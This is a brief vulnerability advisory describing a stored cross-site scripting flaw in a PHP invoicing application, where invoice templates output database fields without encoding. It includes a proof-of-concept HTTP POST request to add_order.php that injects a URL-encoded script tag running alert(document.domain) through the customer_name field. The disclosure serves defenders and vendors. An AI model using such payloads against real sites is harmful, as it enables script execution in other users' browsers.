| Descrizione | Invoice templates render database-backed values directly into HTML without output encoding. If an attacker can inject malicious content into customer, seller, or related invoice fields, the payload will execute when the invoice page is viewed.
Proof of Concept (PoC):
Below is a POST request demonstrating the vulnerability using a Stored XSS payload injected into an invoice field:
POST /InvoicingSystem_PHP/Invoicing/add_order.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<valid_session>
customer_name=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&seller_name=test&amount=100
